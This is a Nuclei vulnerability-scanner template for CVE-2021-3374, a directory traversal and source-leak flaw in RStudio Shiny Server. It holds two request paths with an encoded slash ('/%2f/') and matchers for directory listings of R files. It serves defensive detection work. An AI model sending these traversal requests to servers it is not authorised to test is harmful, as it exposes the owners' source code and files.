nuclei-templates/cves/2021/CVE-2021-3374.yaml

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id: CVE-2021-3374
info:
name: Rstudio Shiny Server Directory Traversal
author: geeknik
severity: medium
description: Rstudio Shiny-Server prior to 1.5.16 is vulnerable to directory traversal and source code leakage. This can be exploited by appending an encoded slash to the URL.
reference:
- https://github.com/colemanjp/rstudio-shiny-server-directory-traversal-source-code-leak
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-3374
cwe-id: CWE-22
tags: cve,cve2021,rstudio,traversal
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requests:
- method: GET
path:
- "{{BaseURL}}/%2f/"
- "{{BaseURL}}/sample-apps/hello/%2f/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Index of /"
- type: regex
part: body
regex:
- "[A-Za-z].*\\.R"